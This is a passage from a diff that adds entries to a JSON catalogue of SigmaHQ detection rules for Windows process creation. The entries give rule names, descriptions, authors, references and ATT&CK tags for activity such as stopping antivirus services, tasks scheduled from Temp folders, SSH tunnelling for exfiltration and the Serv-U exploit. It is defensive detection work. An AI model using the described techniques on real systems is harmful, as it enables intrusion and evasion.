"value": "Suspicious Schtasks Schedule Type With High Privileges" + }, + { + "description": "schtasks.exe create task from user AppData\\Local\\Temp", + "meta": { + "author": "frack113", + "creation_date": "2021/11/03", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_schtasks_user_temp.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "malware analyse https://www.joesandbox.com/analysis/514608/0/html#324415FF7D8324231381BAD48A052F85DF04", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_user_temp.yml" + ], + "tags": [ + "attack.execution", + "attack.t1053.005" + ] + }, + "uuid": "43f487f0-755f-4c2a-bce7-d6d2eec2fcf8", + "value": "Suspicious Add Scheduled Task From User AppData Temp" + }, + { + "description": "Detects the creation of scheduled tasks in user session", + "meta": { + "author": "Florian Roth", + "creation_date": "2019/01/16", + "falsepositive": [ + "Administrative activity", + "Software installation" + ], + "filename": "proc_creation_win_susp_schtask_creation.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtask_creation.yml" + ], + "tags": [ + "attack.execution", + "attack.persistence", + "attack.privilege_escalation", + "attack.t1053.005", + "attack.s0111", + "car.2013-08-001" + ] + }, + "uuid": "92626ddd-662c-49e3-ac59-f6535f12d189", + "value": "Scheduled Task Creation" + }, + { + "description": "Detects the creation of scheduled tasks that involves a temporary folder and runs only once", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/03/11", + "falsepositive": [ + "Administrative activity", + "Software installation" + ], + "filename": "proc_creation_win_susp_schtask_creation_temp_folder.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://discuss.elastic.co/t/detection-and-response-for-hafnium-activity/266289/3", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtask_creation_temp_folder.yml" + ], + "tags": [ + "attack.execution", + "attack.persistence", + "attack.t1053.005" + ] + }, + "uuid": "39019a4e-317f-4ce3-ae63-309a8c6b53c5", + "value": "Suspicious Scheduled Task Creation Involving Temp Folder" + }, + { + "description": "Detects ScreenConnect program starts that establish a remote access to that system (not meeting, not remote support)", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/02/11", + "falsepositive": [ + "Legitimate use by administrative staff" + ], + "filename": "proc_creation_win_susp_screenconnect_access.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.anomali.com/blog/probable-iranian-cyber-actors-static-kitten-conducting-cyberespionage-campaign-targeting-uae-and-kuwait-government-agencies", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_screenconnect_access.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1133" + ] + }, + "uuid": "75bfe6e6-cd8e-429e-91d3-03921e1d7962", + "value": "ScreenConnect Remote Access" + }, + { + "description": "Adversaries may establish persistence by executing malicious content triggered by user inactivity.\nScreensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension\n", + "meta": { + "author": "frack113", + "creation_date": "2021/08/19", + "falsepositive": [ + "GPO" + ], + "filename": "proc_creation_win_susp_screensaver_reg.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.002/T1546.002.md", + "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_screensaver_reg.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1546.002" + ] + }, + "uuid": "0fc35fc3-efe6-4898-8a37-0b233339524f", + "value": "Suspicious ScreenSave Change by Reg.exe" + }, + { + "description": "Detects suspicious file execution by wscript and cscript", + "meta": { + "author": "Michael Haag", + "creation_date": "2019/01/16", + "falsepositive": [ + "Will need to be tuned. I recommend adding the user profile path in CommandLine if it is getting too noisy." + ], + "filename": "proc_creation_win_susp_script_execution.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_script_execution.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.005", + "attack.t1059.007" + ] + }, + "uuid": "1e33157c-53b1-41ad-bbcc-780b80b58288", + "value": "WSF/JSE/JS/VBA/VBE File Execution" + }, + { + "description": "Detects a suspicious script executions in temporary folders or folders accessible by environment variables", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/02/08", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_script_exec_from_env_folder.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.virustotal.com/gui/file/91ba814a86ddedc7a9d546e26f912c541205b47a853d227756ab1334ade92c3f", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_script_exec_from_env_folder.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ] + }, + "uuid": "1228c958-e64e-4e71-92ad-7d429f4138ba", + "value": "Script Interpreter Execution From Suspicious Folder" + }, + { + "description": "Detects a suspicious script executions from temporary folder", + "meta": { + "author": "Florian Roth, Max Altgelt, Tim Shelton", + "creation_date": "2021/07/14", + "falsepositive": [ + "Administrative scripts" + ], + "filename": "proc_creation_win_susp_script_exec_from_temp.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.microsoft.com/security/blog/2021/07/13/microsoft-discovers-threat-actor-targeting-solarwinds-serv-u-software-with-0-day-exploit/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_script_exec_from_temp.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ] + }, + "uuid": "a6a39bdb-935c-4f0a-ab77-35f4bbf44d33", + "value": "Suspicious Script Execution From Temp Folder" + }, + { + "description": "Detects suspicious DACL modifications that can be used to hide services or make them unstopable", + "meta": { + "author": "Jonhnathan Ribeiro, oscd.community", + "creation_date": "2020/10/16", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_service_dacl_modification.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.sans.org/blog/red-team-tactics-hiding-windows-services/", + "https://docs.microsoft.com/pt-br/windows/win32/secauthz/sid-strings", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_service_dacl_modification.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1543.003" + ] + }, + "uuid": "99cf1e02-00fb-4c0d-8375-563f978dfd37", + "value": "Suspicious Service DACL Modification" + }, + { + "description": "Detects suspicious DACL modifications via the \"Set-Service\" cmdlet using the \"SecurityDescriptorSddl\" flag (Only available with PowerShell 7) that can be used to hide services or make them unstopable", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/10/18", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_service_dacl_modification_set_service.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.sans.org/blog/red-team-tactics-hiding-windows-services/", + "https://docs.microsoft.com/pt-br/windows/win32/secauthz/sid-strings", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_service_dacl_modification_set_service.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1543.003" + ] + }, + "uuid": "a95b9b42-1308-4735-a1af-abb1c5e6f5ac", + "value": "Suspicious Service DACL Modification Via Set-Service Cmdlet" + }, + { + "description": "Detects a service binary running in a suspicious directory", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/03/09", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_service_dir.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://blog.truesec.com/2021/03/07/exchange-zero-day-proxylogon-and-hafnium/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_service_dir.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1202" + ] + }, + "uuid": "883faa95-175a-4e22-8181-e5761aeb373c", + "value": "Suspicious Service Binary Directory" + }, + { + "description": "Detects usage of 'Stop-Service' or 'Remove-Service' powershell cmdlet to disable AV services.\nAdversaries may disable security tools to avoid possible detection of their tools and activities by stopping antivirus service\n", + "meta": { + "author": "frack113", + "creation_date": "2021/07/07", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_service_modification.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", + "https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_service_modification.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ] + }, + "uuid": "6783aa9e-0dc3-49d4-a94a-8b39c5fd700b", + "value": "Stop Or Remove Antivirus Service" + }, + { + "description": "Detects service path modification via the \"sc\" binary to a suspicious command or path", + "meta": { + "author": "Victor Sergeev, oscd.community, Nasreddine Bencherchali (update)", + "creation_date": "2019/10/21", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_susp_service_path_modification.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.003/T1543.003.md", + "https://web.archive.org/web/20180331144337/https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_service_path_modification.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1543.003" + ] + }, + "uuid": "138d3531-8793-4f50-a2cd-f291b2863d78", + "value": "Suspicious Service Path Modification" + }, + { + "description": "Detects the usage of one of the the commands to stop services such as 'net', 'sc'...etc in order to stop critical or important windows services such as AV, Backup...etc. As seen being used in some ransomware scripts", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/09/01", + "falsepositive": [ + "Administrator or tools shutting down the services due to upgrade or removal purposes. If you experience some FP please consider adding filters to the parent process launching this command and not removing the entry" + ], + "filename": "proc_creation_win_susp_service_stop.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus/Genshin%20Impact%20Figure%2010.jpg", + "https://www.trellix.com/en-sg/about/newsroom/stories/threat-labs/lockergoga-ransomware-family-used-in-targeted-attacks.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_service_stop.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1489" + ] + }, + "uuid": "ce72ef99-22f1-43d4-8695-419dcb5d9330", + "value": "Suspicious Stop Windows Service" + }, + { + "description": "Detects patterns as noticed in exploitation of Serv-U CVE-2021-35211 vulnerability by threat group DEV-0322", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/07/14", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_susp_servu_exploitation_cve_2021_35211.yml", + "level": "critical", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.microsoft.com/security/blog/2021/07/13/microsoft-discovers-threat-actor-targeting-solarwinds-serv-u-software-with-0-day-exploit/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_servu_exploitation_cve_2021_35211.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1136.001", + "cve.2021.35211" + ] + }, + "uuid": "75578840-9526-4b2a-9462-af469a45e767", + "value": "Serv-U Exploitation CVE-2021-35211 by DEV-0322" + }, + { + "description": "Detects a suspicious process pattern which could be a sign of an exploited Serv-U service", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/07/14", + "falsepositive": [ + "Legitimate uses in which users or programs use the SSH service of Serv-U for remote command execution" + ], + "filename": "proc_creation_win_susp_servu_process_pattern.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.microsoft.com/security/blog/2021/07/13/microsoft-discovers-threat-actor-targeting-solarwinds-serv-u-software-with-0-day-exploit/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_servu_process_pattern.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1555", + "cve.2021.35211" + ] + }, + "uuid": "58f4ea09-0fc2-4520-ba18-b85c540b0eaf", + "value": "Suspicious Serv-U Process Pattern" + }, + { + "description": "Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems", + "meta": { + "author": "frack113", + "creation_date": "2021/12/10", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_sharpview.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/tevora-threat/SharpView/", + "https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md#atomic-test-4---system-discovery-using-sharpview", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_sharpview.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1049", + "attack.t1069.002", + "attack.t1482", + "attack.t1135", + "attack.t1033" + ] + }, + "uuid": "b2317cfa-4a47-4ead-b3ff-297438c0bc2d", + "value": "Suspicious Execution of SharpView Aka PowerView" + }, + { + "description": "Detects suspicious usage of the ShellExec_RunDLL function to launch other commands as seen in the the raspberry-robin attack", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/09/01", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_shellexec_rundll_usage.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://redcanary.com/blog/raspberry-robin/", + "https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_shellexec_rundll_usage.yml" + ], + "tags": [ + "attack.defense_evasion" + ] + }, + "uuid": "d87bd452-6da1-456e-8155-7dc988157b7d", + "value": "Suspicious Usage Of ShellExec_RunDLL" + }, + { + "description": "Detects suspicious shell spawned from Java host process (e.g. log4j exploitation)", + "meta": { + "author": "Andreas Hunkeler (@Karneades), Florian Roth", + "creation_date": "2021/12/17", + "falsepositive": [ + "Legitimate calls to system binaries", + "Company specific internal usage" + ], + "filename": "proc_creation_win_susp_shell_spawn_by_java.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_shell_spawn_by_java.yml" + ], + "tags": [ + "attack.initial_access", + "attack.persistence", + "attack.privilege_escalation" + ] + }, + "uuid": "0d34ed8b-1c12-4ff2-828c-16fc860b766d", + "value": "Suspicious Shells Spawned by Java" + }, + { + "description": "Detects suspicious shell spawn from Java utility keytool process (e.g. adselfservice plus exploitation)", + "meta": { + "author": "Andreas Hunkeler (@Karneades)", + "creation_date": "2021/12/22", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_shell_spawn_by_java_keytool.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://redcanary.com/blog/intelligence-insights-december-2021", + "https://www.synacktiv.com/en/publications/how-to-exploit-cve-2021-40539-on-manageengine-adselfservice-plus.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_shell_spawn_by_java_keytool.yml" + ], + "tags": [ + "attack.initial_access", + "attack.persistence", + "attack.privilege_escalation" + ] + }, + "uuid": "90fb5e62-ca1f-4e22-b42e-cc521874c938", + "value": "Suspicious Shells Spawn by Java Utility Keytool" + }, + { + "description": "Detects suspicious shell spawn from MSSQL process, this might be sight of RCE or SQL Injection", + "meta": { + "author": "FPT.EagleEye Team, wagga", + "creation_date": "2020/12/11", + "falsepositive": "No established falsepositives", + "filename": "proc_creation_win_susp_shell_spawn_from_mssql.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_shell_spawn_from_mssql.yml" + ], + "tags": [ + "attack.t1505.003", + "attack.t1190", + "attack.initial_access", + "attack.persistence", + "attack.privilege_escalation" + ] + }, + "uuid": "869b9ca7-9ea2-4a5a-8325-e80e62f75445", + "value": "Suspicious Shells Spawn by SQL Server" + }, + { + "description": "Detects suspicious processes including shells spawnd from WinRM host process", + "meta": { + "author": "Andreas Hunkeler (@Karneades), Markus Neis", + "creation_date": "2021/05/20", + "falsepositive": [ + "Legitimate WinRM usage" + ], + "filename": "proc_creation_win_susp_shell_spawn_from_winrm.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_shell_spawn_from_winrm.yml" + ], + "tags": [ + "attack.t1190", + "attack.initial_access", + "attack.persistence", + "attack.privilege_escalation" + ] + }, + "uuid": "5cc2cda8-f261-4d88-a2de-e9e193c86716", + "value": "Suspicious Processes Spawned by WinRM" + }, + { + "description": "Detects actions that clear the local ShimCache and remove forensic evidence", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/02/01", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_shimcache_flush.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://medium.com/@blueteamops/shimcache-flush-89daff28d15e", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_shimcache_flush.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ] + }, + "uuid": "b0524451-19af-4efa-a46f-562a977f792e", + "value": "ShimCache Flush" + }, + { + "description": "Use of the commandline to shutdown or reboot windows", + "meta": { + "author": "frack113", + "creation_date": "2022/01/01", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_shutdown.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1529/T1529.md", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_shutdown.yml" + ], + "tags": [ + "attack.impact", + "attack.t1529" + ] + }, + "uuid": "34ebb878-1b15-4895-b352-ca2eeb99b274", + "value": "Suspicious Execution of Shutdown" + }, + { + "description": "Detects suspicious Splwow64.exe process without any command line parameters", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/08/23", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_splwow64.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/sbousseaden/status/1429401053229891590?s=12", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_splwow64.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1202" + ] + }, + "uuid": "1f1a8509-2cbb-44f5-8751-8e1571518ce2", + "value": "Suspicious Splwow64 Without Params" + }, + { + "description": "Detects suspicious print spool service (spoolsv.exe) child processes.", + "meta": { + "author": "Justin C. (@endisphotic), @dreadphones (detection), Thomas Patzke (Sigma rule)", + "creation_date": "2021/07/11", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_spoolsv_child_processes.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/blob/efa17a600b43c897b4b7463cc8541daa1987eeb4/Exploits/Print%20Spooler%20RCE/Suspicious%20Spoolsv%20Child%20Process.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_spoolsv_child_processes.yml" + ], + "tags": [ + "attack.execution", + "attack.t1203", + "attack.privilege_escalation", + "attack.t1068" + ] + }, + "uuid": "dcdbc940-0bff-46b2-95f3-2d73f848e33b", + "value": "Suspicious Spool Service Child Process" + }, + { + "description": "Detects Possible Squirrel Packages Manager as Lolbin", + "meta": { + "author": "Karneades / Markus Neis, Jonhnathan Ribeiro, oscd.community", + "creation_date": "2019/11/12", + "falsepositive": [ + "1Clipboard", + "Beaker Browser", + "Caret", + "Collectie", + "Discord", + "Figma", + "Flow", + "Ghost", + "GitHub Desktop", + "GitKraken", + "Hyper", + "Insomnia", + "JIBO", + "Kap", + "Kitematic", + "Now Desktop", + "Postman", + "PostmanCanary", + "Rambox", + "Simplenote", + "Skype", + "Slack", + "SourceTree", + "Stride", + "Svgsus", + "WebTorrent", + "WhatsApp", + "WordPress.com", + "Atom", + "Gitkraken", + "Slack", + "Teams" + ], + "filename": "proc_creation_win_susp_squirrel_lolbin.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "http://www.hexacorn.com/blog/2019/03/30/sqirrel-packages-manager-as-a-lolbin-a-k-a-many-electron-apps-are-lolbins-by-default/", + "http://www.hexacorn.com/blog/2018/08/16/squirrel-as-a-lolbin/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_squirrel_lolbin.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion", + "attack.t1218" + ] + }, + "uuid": "fa4b21c9-0057-4493-b289-2556416ae4d7", + "value": "Squirrel Lolbin" + }, + { + "description": "Detects suspicious SSH tunnel port forwarding to a local port", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/10/12", + "falsepositive": [ + "Administrative activity using a remote port forwarding to a local port" + ], + "filename": "proc_creation_win_susp_ssh_port_forward.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ssh_port_forward.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1572", + "attack.lateral_movement", + "attack.t1021.001" + ] + }, + "uuid": "327f48c1-a6db-4eb8-875a-f6981f1b0183", + "value": "Suspicious SSH Port Forwarding" + }, + { + "description": "Execution of ssh.exe to perform data exfiltration and tunneling through RDP", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/10/12", + "falsepositive": [ + "Administrative activity" + ], + "filename": "proc_creation_win_susp_ssh_usage.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ssh_usage.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1572" + ] + }, + "uuid": "f7d7ebd5-a016-46e2-9c54-f9932f2d386d", + "value": "Suspicious SSH Usage RDP Tunneling" + }, + { + "description": "Detects a suspicious svchost process start", + "meta": { + "author": "Florian Roth", + "creation_date": "2017/08/15", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_svchost.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_svchost.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036.005" + ] + }, + "uuid": "01d2e2a1-5f09-44f7-9fc1-24faa7479b6d", + "value": "Suspicious Svchost Process" + }, + { + "description": "It is extremely abnormal for svchost.exe to spawn without any CLI arguments and is normally observed when a malicious process spawns the process and injects code into the process memory space.", + "meta": { + "author": "David Burkett", + "creation_date": "2019/12/28", + "falsepositive": [ + "Rpcnet.exe / rpcnetp.exe which is a lojack style software. https://www.blackhat.com/docs/us-14/materials/us-14-Kamlyuk-Kamluk-Computrace-Backdoor-Revisited.pdf" + ], + "filename": "proc_creation_win_susp_svchost_no_cli.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://securitybytes.io/blue-team-fundamentals-part-two-windows-processes-759fe15965e2", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_svchost_no_cli.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1055" + ] + }, + "uuid": "16c37b52-b141-42a5-a3ea-bbe098444397", + "value": "Suspect Svchost Activity" + }, + { + "description": "Detects suspicious sysprep process start with AppData folder as target (as used by Trojan Syndicasec in Thrip report by Symantec)", + "meta": { + "author": "Florian Roth", + "creation_date": "2018/06/22", + "falsepositive": [ + "False positives depend on scripts and administrative tools used in the monitored environment" + ], + "filename": "proc_creation_win_susp_sysprep_appdata.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets", + "https://app.any.run/tasks/61a296bb-81ad-4fee-955f-3b399f4aaf4b", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_sysprep_appdata.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ] + }, + "uuid": "d5b9ae7a-e6fc-405e-80ff-2ff9dcc64e7e", + "value": "Sysprep on AppData Folder" + }, + { + "description": "Detects usage of the \"systeminfo\" command to retrieve information", + "meta": { + "author": "frack113", + "creation_date": "2022/01/01", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_systeminfo.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1082/T1082.md#atomic-test-1---system-information-discovery", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/systeminfo", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_systeminfo.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1082" + ] + }, + "uuid": "0ef56343-059e-4cb6-adc1-4c3c967c5e46", + "value": "Suspicious Execution of Systeminfo" + }, + { + "description": "Detects a suspicious process creation as SYSTEM user (suspicious program or command line parameter)", + "meta": { + "author": "Florian Roth (rule), David ANDRE (additional keywords)", + "creation_date": "2021/12/20", + "falsepositive": [ + "Administrative activity", + "Scripts and administrative tools used in the monitored environment", + "Monitoring activity" + ], + "filename": "proc_creation_win_susp_system_user_anomaly.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "Internal Research", + "https://tools.thehacker.recipes/mimikatz/modules", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_system_user_anomaly.yml" + ], + "tags": "No established tags" + }, + "uuid": "2617e7ed-adb7-40ba-b0f3-8f9945fe6c09", + "value": "Suspicious SYSTEM User Process Creation" + }, + { + "description": "Detects Access to Domain Group Policies stored in SYSVOL", + "meta": { + "author": "Markus Neis, Jonhnathan Ribeiro, oscd.community", + "creation_date": "2018/04/09", + "falsepositive": [ + "Administrative activity" + ], + "filename": "proc_creation_win_susp_sysvol_access.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://adsecurity.org/?p=2288", + "https://www.hybrid-analysis.com/sample/f2943f5e45befa52fb12748ca7171d30096e1d4fc3c365561497c618341299d5?environmentId=100", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_sysvol_access.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1552.006" + ] + }, + "uuid": "05f3c945-dcc8-4393-9f3d-af65077a8f86", + "value": "Suspicious SYSVOL Domain Group Policy Access" + }, + { + "description": "Adversaries can interact with the DACLs using built-in Windows commands takeown which can grant adversaries higher permissions on specific files and folders", + "meta": { + "author": "frack113", + "creation_date": "2022/01/30", + "falsepositive": [ + "Scripts created by developers and admins", + "Administrative activity" + ], + "filename": "proc_creation_win_susp_takeown.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/takeown", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1222.001/T1222.001.md#atomic-test-1---take-ownership-using-takeown-utility", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_takeown.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1222.001" + ] + }, + "uuid": "554601fb-9b71-4bcc-abf4-21a611be4fde", + "value": "Suspicious Recursif Takeown" + }, + { + "description": "Detects shell32.dll executing a DLL in a suspicious directory", + "meta": { + "author": "Christian 